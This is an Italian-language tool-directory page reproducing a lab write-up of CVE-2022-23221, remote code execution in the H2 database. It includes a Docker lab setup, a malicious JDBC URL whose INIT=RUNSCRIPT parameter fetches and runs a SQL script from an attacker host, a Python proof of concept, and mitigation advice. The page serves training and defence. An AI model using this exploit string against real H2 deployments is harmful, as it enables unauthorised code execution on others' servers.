Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
H2-database-CVE-2022-23221 — vulhub/H2-database/CVE-2022-23221 | Kitploit
Strumenti/GitHubGitHub/straightsang/h2-database-cve-2022-23221
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebApprendimento e FormazioneSicurezza dei DatabaseLab e Pratica
GitHubstraightsang/h2-database-cve-2022-23221

H2-database-CVE-2022-23221

vulhub/H2-database/CVE-2022-23221

Vedi Repository
31 mese faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

H2 Database RCE (CVE-2022-23221)


  • whs4_1반_고늘상(@straightSang)

1. Riepilogo

  • Riferimento: https://nvd.nist.gov/vuln/detail/cve-2022-23221

  • H2 è un sistema di gestione di database relazionali che fornisce la funzionalità di compilare ed eseguire direttamente codice Java all'interno del motore SQL.

  • Il driver H2 analizza l'URL JDBC per stabilire la connessione tra l'applicazione e il database. Tramite i parametri di configurazione inclusi nell'URL, è possibile controllare lo stato iniziale o il comportamento del database.

  • Nelle versioni di H2 precedenti alla 2.1.210, esiste il problema che è possibile eseguire script SQL remoti tramite il parametro INIT dell'URL JDBC. Un attaccante può sfruttarlo per iniettare da remoto uno script SQL manipolato ed eseguire comandi di sistema tramite la sua sintassi, provocando la vulnerabilità CVE-2022-23221.

  • Le caratteristiche di questa vulnerabilità sono le seguenti.

    1. Nessuna autenticazione richiesta: chiunque abbia solo il permesso di inserire un URL JDBC può sfruttare questa vulnerabilità per ottenere il controllo del sistema.
    2. Esecuzione automatica all'avvio del servizio: se un attaccante modifica solo il file di configurazione, si verifica automaticamente una RCE (Remote Code Execution) all'avvio del servizio che utilizza H2.
    3. Furtività: è difficile per gli sviluppatori accorgersi dell'attacco.
    4. Ampio raggio di impatto: grazie alla velocità e alla leggerezza di H2, esso è utilizzato per lo sviluppo e il test di vari servizi web. L'impatto è elevato perché qualsiasi ambiente in cui l'URL JDBC può essere impostato tramite file di configurazione o input utente può essere bersaglio di attacchi che sfruttano questa vulnerabilità.
  • Ambito di impatto della vulnerabilità

    • Versioni interessate: precedenti alla H2 2.1.210
    • Versione corretta: H2 2.1.210 e successive

  • 2. Condizioni della vulnerabilità

    • Deve essere una versione di H2 precedente alla 2.1.210.
    • L'URL JDCB deve contenere IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker-ip/acttacker-file.sql’.
      1. IGNORE_UNKNOWN_SETTINGS=TRUE, FORBID_CREATION=FALSE -> Bypass delle impostazioni di sicurezza
        • Se questi parametri sono presenti, le impostazioni di sicurezza vengono disabilitate, quindi il comando di esecuzione dello script remoto non viene bloccato durante l'inizializzazione e viene eseguito così com'è.
      2. INIT=RUNSCRIPT FROM 'http:/attacker-ip/acttacker-file.sql' -> Comando SQL eseguito automaticamente alla connessione tra applicazione e DB
        • Se il valore del parametro INIT contiene il comando SQL RUNSCRIPT e l'indirizzo dello script dannoso, H2 si connette a quel server, scarica il file e lo esegue quando viene stabilita la connessione tra l'applicazione e il DB H2.
    • Lo script SQL scaricato deve contenere la sintassi SQL CREATE ALIAS.
      • La sintassi CREATE ALIAS all'interno dello script eseguito da remoto fa sì che H2 esegua le funzioni Java dello script all'interno del DB, con conseguente RCE.




    3. Configurazione dell'ambiente

    • Scenario

      • Configurare un ambiente H2 vulnerabile e inserire l'URL JDBC dannoso in H2. H2 analizza questo URL senza una corretta validazione, riceve il file sql dal server attacker e lo esegue. Se nel log del server h2-vulnerable vengono visualizzati i risultati dei comandi id, whoami, pwd insieme alla stringa "EXPLOITED", ciò significa che l'ambiente H2 vulnerabile è stato configurato e che, durante l'analisi dell'URL JDBC dannoso, il file exploit.sql è stato scaricato ed eseguito da remoto dal server attacker esterno.
    • Configurazione dell'ambiente

      root@kitploit:~
      docker compose up -d 
      

      docker ps

      • Eseguendo il comando, vengono avviati i seguenti ambienti.
      • h2-vulnerable: H2 2.0.206 (versione vulnerabile precedente alla patch)
        • Console web H2: http://your-ip:8082
        • Server TCP: tcp://your-ip:9092
      • attacker: Server HTTP
        • http://your-ip:8000: fornisce il file exploit.sql
    • Dopo la configurazione dell'ambiente, accedendo a http://your-ip:8082 viene visualizzata la pagina web H2.




    4. Procedura di riproduzione

    : Poiché nella console web vengono applicate policy di sicurezza che possono filtrare i parametri che costituiscono la condizione di vulnerabilità, si riproduce la vulnerabilità inserendo direttamente tramite CLI l'URL JDBC contenente i parametri dannosi e se ne verifica il risultato.

    [Caso di richiesta normale]

    • URL JDBC normale: "jdbc:h2:mem:test"

    • Comando di richiesta normale

      root@kitploit:~
      docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \
      -url "jdbc:h2:mem:test" \
      -user sa \
      -password ""
      
    • Risultato dell'esecuzione Esecuzione basata su CLI

      • Nessuna richiesta in arrivo sul server attacker
      • Nessun log particolare emesso dal server h2-vulnerable

    [Caso di attacco alla vulnerabilità]

    • URL JDBC dannoso: "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'"

    1. Esecuzione dell'attacco

    • Inserire l'URL JDBC dannoso nel driver H2 per tentare la connessione al server attacker. Ci sono 2 modi per inserire l'URL.

      1. Inserire direttamente l'URL JDBC dannoso nella shell H2 tramite CLI.
      root@kitploit:~
      docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \
        -url "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'" \
        -user sa \
        -password ""
      

      Esecuzione basata su CLI

      1. Eseguire il file PoC.
      root@kitploit:~
      python3 poc.py
      

      Esecuzione di poc.py

    2. Richiesta ed esecuzione del file

    • H2 richiede (HTTP GET) il file exploit.sql al server attacker come indicato da INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql' nel parametro INIT dell'URL JDBC e lo esegue all'interno del database H2.

      1. Eseguendo docker logs attacker è possibile verificare i log delle richieste del file exploit.sql in arrivo dal server h2-vulnerable.
      root@kitploit:~
      docker logs attacker
      

      1. Il server attacker restituisce il file exploit.sql richiesto e il server h2-vulnerable esegue il file exploit.sql ricevuto. In questo momento, la sintassi CREATE ALIAS all'interno dello script induce l'esecuzione del codice Java, causando la RCE.


    5. Codice di poc.py

    root@kitploit:~
    #!/usr/bin/env python3
    
    # 목적: CVE-2022-23221 H2 Database RCE 상황을 재현하고자 함.
    # 과정: 검증 우회 파라미터와 Java 명령어가 포함된 JDBC URL을 H2로 전송하여 원격 코드 실행 공격을 수행함.
    
    import subprocess
    import time
    import sys
    
    """
    함수 이름: exploit_h2()
    기능: H2 DB에 악의적인 JDBC URL을 전달하여 공격을 수행한다.
    반환값: True->공격 성공, False->공격 실패
    """
    def exploit_h2():
        
        # H2 서버 준비 대기
        time.sleep(3)
        
        # 검증 우회 파라미터가 포함된 JDBC URL
        # IGNORE_UNKNOWN_SETTINGS=TRUE: H2의 입력 검증을 우회함
        # FORBID_CREATION=FALSE: 원격 DB 생성에 대한 경계를 제거함
        # INIT=RUNSCRIPT FROM: 연결(시작) 시 원격 SQL 스크립트를 실행함
        jdbc_url = "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'"
        
        try:
            # H2 Shell을 통해서 악의적인 JDBC URL로 연결됨
            cmd = [
                'docker', 'exec', 'h2-vulnerable',
                'java', '-cp', '/h2-bin/h2.jar',
                'org.h2.tools.Shell',
                '-url', jdbc_url,
                '-user', 'sa',
                '-password', ''
            ]
            
            # Docker 명령어 실행 및 결과
            result = subprocess.run(
                cmd,
                capture_output=True,
                text=True,
                timeout=15
            )
            
            return True
            
        except Exception as e:
            print(f"[-] 에러: {e}")
            return False
    
    """
    함수 이름: main()
    기능: 공격 실행 및 공격 성공여부를 출력한다. 
    반환값: 없음
    """
    def main():
    
        if exploit_h2():
            print("[+] 공격 완료")
        else:
            print("[-] 공격 실패")
            sys.exit(1)
    
    if __name__ == "__main__":
        main()
    
    



    6. Risultati dell'esecuzione

    • Come risultato dell'esecuzione del file exploit.sql, nei log del server h2-vulnerable vengono visualizzati i risultati dei comandi id, whoami, pwd insieme alla stringa "EXPLOITED".

    • È possibile verificare i log con docker logs h2-vulnerable.

      root@kitploit:~
      docker logs h2-vulnerable`
      

      Verifica dei risultati di esecuzione

    => Ciò significa che l'ambiente H2 vulnerabile è stato configurato e che il download remoto e l'esecuzione del file sono riusciti durante l'analisi dell'URL JDBC dannoso da parte di H2.


    7. Misure di mitigazione

    • Aggiornare alla versione H2 2.1.210 o successiva
      • Contenuto della patch: limitazione della funzionalità di esecuzione di script esterni del parametro INIT
      • Data di rilascio: 2022-05-15
    • Rafforzare la validazione degli input degli URL JDBC: bloccare gli input contenenti parametri come INIT, RUNSCRIPT che causano l'esecuzione remota di codice e validare gli input degli URL JDBC con un approccio basato su whitelist.
    • Monitorare l'integrità della configurazione e dell'ambiente: quando un file di configurazione viene modificato, verificare che non sia stato manomesso e richiedere l'approvazione dell'amministratore.
    Scarica lo strumento